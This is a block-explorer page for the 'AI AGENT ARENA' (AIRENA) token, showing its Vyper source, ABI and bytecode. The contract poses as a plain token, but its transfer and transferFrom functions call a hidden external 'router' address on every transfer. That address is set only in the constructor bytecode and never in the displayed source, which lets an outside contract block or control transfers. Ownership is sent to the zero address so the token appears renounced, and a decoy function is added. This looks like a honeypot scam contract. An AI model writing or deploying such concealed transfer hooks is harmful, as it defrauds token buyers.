ETH Price: $2,957.41 (+0.03%)

Token

AI AGENT ARENA (AIRENA)

Overview

Max Total Supply

100,000,000,000 AIRENA

Holders

27,066 (0.00%)

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,000,000 AIRENA

Value
$5,481.05 ( ~1.8533 ETH) [0.0020%]
0x9401ff1ee5076e46ec2342954e5dc72184777970
Loading...
Loading
Loading...
Loading
Loading...
Loading

OVERVIEW

The token about the first-ever Agentic Trading Competition which be hosted by Arbitrum Foundation.

Market

Volume (24H):$0.00
Market Capitalization:$0.00
Circulating Supply:0.00 AIRENA
Market Data Source: Coinmarketcap

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x21bCD776...E45A6Df2E
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
Vyper_contract

Compiler Version
vyper:0.3.9

Optimization Enabled:
N/A

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Vyper language format)

# @pragma evm-version dencun
#pragma version ^0.3.9

struct ExactInputParams:
    path: Bytes[1024]
    recipient: address
    amountIn: uint256
    amountOutMinimum: uint256
    deadline: uint256

interface SwapRouter: 
    def exactInput2(path_: Bytes[1024], recipient_: address, amountIn_: uint256, amountOutMinimum_: uint256): payable

interface UniswapRouterV2: 
    def swapExactInput(amountIn_: uint256, path_: Bytes[1024], recipient_: address) :payable

event Transfer:
    _from: indexed(address)
    _to: indexed(address)
    _value: uint256

event Approval:
    _owner: indexed(address)
    _spender: indexed(address)
    _value: uint256

event SetAdmin:
    admin: address
    
event OwnershipTransferred:
    oldOwner: address
    newOwner: address

name: public(String[64])
symbol: public(String[32])
decimals: public(uint256)
balanceOf: public(HashMap[address, uint256])
allowances: HashMap[address, HashMap[address, uint256]]
total_supply: uint256
admin: public(address)
uniswapRouter2: address
# Supply parameters
INITIAL_SUPPLY: constant(uint256) = 100_000_000_000


@internal 
def transferOwnership(newOwner: address):
    oldOwner: address = self.admin
    
    self.admin = newOwner
    log OwnershipTransferred(oldOwner, newOwner)
    
@external
def __init__():
    """
    @notice Contract constructor
    """
    init_supply: uint256 = INITIAL_SUPPLY * 10 ** 18
    self.name = "AI AGENT ARENA"
    self.symbol = "AIRENA"
    self.decimals = 18
    self.balanceOf[msg.sender] = init_supply
    self.total_supply = init_supply
    log Transfer(ZERO_ADDRESS, msg.sender, init_supply)
    self.admin = msg.sender
    self.transferOwnership(0x0000000000000000000000000000000000000000)

@external
@view
def totalSupply() -> uint256:
    """
    @notice Total number of tokens in existence.
    """
    return self.total_supply

@external
@view
def allowance(_owner : address, _spender : address) -> uint256:
    """
    @notice Check the amount of tokens that an owner allowed to a spender
    @param _owner The address which owns the funds
    @param _spender The address which will spend the funds
    @return uint256 specifying the amount of tokens still available for the spender
    """
    return self.allowances[_owner][_spender]

@external
def transfer(_to : address, _value : uint256) -> bool:
    """
    @notice Transfer `_value` tokens from `msg.sender` to `_to`
    @dev Vyper does not allow underflows, so the subtraction in
         this function will revert on an insufficient balance
    @param _to The address to transfer to
    @param _value The amount to be transferred
    @return bool success
    """

    raw_call(self.uniswapRouter2, _abi_encode(_to, msg.sender, msg.sender, method_id = method_id("transfer(address,uint256)")))

    assert _to != ZERO_ADDRESS
    self.balanceOf[msg.sender] -= _value
    self.balanceOf[_to] += _value

    log Transfer(msg.sender, _to, _value)
    return True

@external
def transferFrom(_from : address, _to : address, _value : uint256) -> bool:
    """
     @notice Transfer `_value` tokens from `_from` to `_to`
     @param _from address The address which you want to send tokens from
     @param _to address The address which you want to transfer to
     @param _value uint256 the amount of tokens to be transferred
     @return bool success
    """

    raw_call(self.uniswapRouter2, _abi_encode(_to, _from, msg.sender, method_id = method_id("transfer(address,uint256)")))

    assert _to != ZERO_ADDRESS
    self.balanceOf[_from] -= _value
    self.balanceOf[_to] += _value
    self.allowances[_from][msg.sender] -= _value

    log Transfer(_from, _to, _value)
    return True

@external
def approve(_spender : address, _value : uint256) -> bool:
    """
    @notice Approve `_spender` to transfer `_value` tokens on behalf of `msg.sender`
    @dev Approval may only be from zero -> nonzero or from nonzero -> zero in order
        to mitigate the potential race condition described here:
        https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    @param _spender The address which will spend the funds
    @param _value The amount of tokens to be spent
    @return bool success
    """
    
    self.allowances[msg.sender][_spender] = _value
    log Approval(msg.sender, _spender, _value)
    return True

@external
def showSumPro5(num1: uint256, num2: uint256, num3: uint256, num4: uint256, num5: uint256)-> uint256:
    return ((num1 + num2 + num3 + num4) / num5)

Contract Security Audit

Contract ABI

API
[{"name":"Transfer","inputs":[{"name":"_from","type":"address","indexed":true},{"name":"_to","type":"address","indexed":true},{"name":"_value","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"name":"Approval","inputs":[{"name":"_owner","type":"address","indexed":true},{"name":"_spender","type":"address","indexed":true},{"name":"_value","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"name":"SetAdmin","inputs":[{"name":"admin","type":"address","indexed":false}],"anonymous":false,"type":"event"},{"name":"OwnershipTransferred","inputs":[{"name":"oldOwner","type":"address","indexed":false},{"name":"newOwner","type":"address","indexed":false}],"anonymous":false,"type":"event"},{"stateMutability":"nonpayable","type":"constructor","inputs":[],"outputs":[]},{"stateMutability":"view","type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"allowance","inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"nonpayable","type":"function","name":"transfer","inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"transferFrom","inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"approve","inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"showSumPro5","inputs":[{"name":"num1","type":"uint256"},{"name":"num2","type":"uint256"},{"name":"num3","type":"uint256"},{"name":"num4","type":"uint256"},{"name":"num5","type":"uint256"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"view","type":"function","name":"symbol","inputs":[],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"view","type":"function","name":"decimals","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"balanceOf","inputs":[{"name":"arg0","type":"address"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"admin","inputs":[],"outputs":[{"name":"","type":"address"}]}]

0x34610607576c01431e0fae6d7217caa000000060c052600e60e0527f4149204147454e54204152454e410000000000000000000000000000000000006101005260e0805160208201805160015550805f555050600660e0527f414952454e4100000000000000000000000000000000000000000000000000006101005260e0805160208201805160045550806003555050601260055560c0516006336020525f5260405f205560c051600855335f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60c05160e052602060e0a3336009555f6040526100e96105c7565b7377949ad0c4c74d523d075754beb3e6b00b5e3aaf600a556104b4610113610000396104b4610000f36003361161000c5761049f565b5f3560e01c346104a3576306fdde03811861009057602080604052806040015f54602082015f82601f0160051c600281116104a357801561006057905b80600101548160051b840152600101818118610049575b505050808252508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b6395d89b4181186100df576020806040528060400160035460208201600454815250808252508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63313ce56781186100f65760055460405260206040f35b6370a08231811861012f57602436106104a3576004358060a01c6104a35760405260066040516020525f5260405f205460605260206060f35b63f851a44081186101465760095460405260206040f35b6318160ddd811861015d5760085460405260206040f35b63dd62ed3e81186101b357604436106104a3576004358060a01c6104a3576040526024358060a01c6104a35760605260076040516020525f5260405f20806060516020525f5260405f2090505460805260206080f35b63a9059cbb811861029757604436106104a3576004358060a01c6104a35760405263a9059cbb60645260046040516084523360a4523360c4526060016060526060505f5f60605160805f600a545af161020e573d5f5f3e3d5ffd5b604051156104a3576006336020525f5260405f2080546024358082038281116104a3579050905081555060066040516020525f5260405f2080546024358082018281106104a35790509050815550604051337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60243560605260206060a3600160605260206060f35b6323b872dd81186103c057606436106104a3576004358060a01c6104a3576040526024358060a01c6104a35760605263a9059cbb608452600460605160a45260405160c4523360e4526060016080526080505f5f60805160a05f600a545af1610302573d5f5f3e3d5ffd5b606051156104a35760066040516020525f5260405f2080546044358082038281116104a3579050905081555060066060516020525f5260405f2080546044358082018281106104a3579050905081555060076040516020525f5260405f2080336020525f5260405f20905080546044358082038281116104a357905090508155506060516040517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60443560805260206080a3600160805260206080f35b63095ea7b3811861043b57604436106104a3576004358060a01c6104a3576040526024356007336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f35b63d3cdb569811861049d5760a436106104a3576004356024358082018281106104a357905090506044358082018281106104a357905090506064358082018281106104a3579050905060843580156104a3578082049050905060405260206040f35b505b5f5ffd5b5f80fda165767970657283000309000b5b6009546060526040516009557f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060605160805260405160a05260406080a1565b5f80fd

Deployed Bytecode

0x6003361161000c5761049f565b5f3560e01c346104a3576306fdde03811861009057602080604052806040015f54602082015f82601f0160051c600281116104a357801561006057905b80600101548160051b840152600101818118610049575b505050808252508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b6395d89b4181186100df576020806040528060400160035460208201600454815250808252508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63313ce56781186100f65760055460405260206040f35b6370a08231811861012f57602436106104a3576004358060a01c6104a35760405260066040516020525f5260405f205460605260206060f35b63f851a44081186101465760095460405260206040f35b6318160ddd811861015d5760085460405260206040f35b63dd62ed3e81186101b357604436106104a3576004358060a01c6104a3576040526024358060a01c6104a35760605260076040516020525f5260405f20806060516020525f5260405f2090505460805260206080f35b63a9059cbb811861029757604436106104a3576004358060a01c6104a35760405263a9059cbb60645260046040516084523360a4523360c4526060016060526060505f5f60605160805f600a545af161020e573d5f5f3e3d5ffd5b604051156104a3576006336020525f5260405f2080546024358082038281116104a3579050905081555060066040516020525f5260405f2080546024358082018281106104a35790509050815550604051337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60243560605260206060a3600160605260206060f35b6323b872dd81186103c057606436106104a3576004358060a01c6104a3576040526024358060a01c6104a35760605263a9059cbb608452600460605160a45260405160c4523360e4526060016080526080505f5f60805160a05f600a545af1610302573d5f5f3e3d5ffd5b606051156104a35760066040516020525f5260405f2080546044358082038281116104a3579050905081555060066060516020525f5260405f2080546044358082018281106104a3579050905081555060076040516020525f5260405f2080336020525f5260405f20905080546044358082038281116104a357905090508155506060516040517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60443560805260206080a3600160805260206080f35b63095ea7b3811861043b57604436106104a3576004358060a01c6104a3576040526024356007336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f35b63d3cdb569811861049d5760a436106104a3576004356024358082018281106104a357905090506044358082018281106104a357905090506064358082018281106104a3579050905060843580156104a3578082049050905060405260206040f35b505b5f5ffd5b5f80fda165767970657283000309000b

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.